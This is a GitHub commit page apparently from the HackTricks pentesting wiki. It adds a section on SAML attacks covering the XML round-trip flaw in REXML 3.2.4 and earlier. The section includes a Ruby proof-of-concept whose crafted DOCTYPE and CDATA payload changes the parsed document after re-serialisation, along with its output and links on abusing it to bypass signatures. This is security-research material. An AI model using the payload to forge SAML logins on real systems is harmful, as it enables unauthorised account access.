Skip to content

Commit 1b4526a

Browse files
carlospolopgitbook-bot
authored andcommitted
GitBook: [master] one page and 2 assets modified
1 parent aaff070 commit 1b4526a

File tree

3 files changed

+42
-1
lines changed

3 files changed

+42
-1
lines changed

.gitbook/assets/image (560).png

43.9 KB
Loading

.gitbook/assets/image (561).png

43.1 KB
Loading

pentesting-web/saml-attacks/README.md

+42-1
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,48 @@
1010

1111
## Tool
1212

13-
\*\*\*\*[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): A tool that can take a URL or list of URL and prints back SAML consume URL.
13+
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): A tool that can take a URL or list of URL and prints back SAML consume URL.
14+
15+
## XML round-trip
16+
17+
In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**.
18+
19+
For example, check the following code:
20+
21+
```ruby
22+
require 'rexml/document'
23+
24+
doc = REXML::Document.new <<XML
25+
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
26+
<X>
27+
<Y/><![CDATA[--><X><Z/><!--]]>-->
28+
</X>
29+
XML
30+
31+
puts "First child in original doc: " + doc.root.elements[1].name
32+
doc = REXML::Document.new doc.to_s
33+
puts "First child after round-trip: " + doc.root.elements[1].name
34+
```
35+
36+
Running the program against REXML 3.2.4 or earlier would result in the following output instead:
37+
38+
```text
39+
First child in original doc: Y
40+
First child after round-trip: Z
41+
```
42+
43+
This is how REXML saw the original XML document from the program above:
44+
45+
![](../../.gitbook/assets/image%20%28561%29.png)
46+
47+
And this is how it saw it after a round of parsing and serialization:
48+
49+
![](../../.gitbook/assets/image%20%28560%29.png)
50+
51+
For more information about the vulnerability and how to abuse it:
52+
53+
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
54+
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
1455

1556
## XML Signature Wrapping Attacks
1657

0 commit comments

Comments
 (0)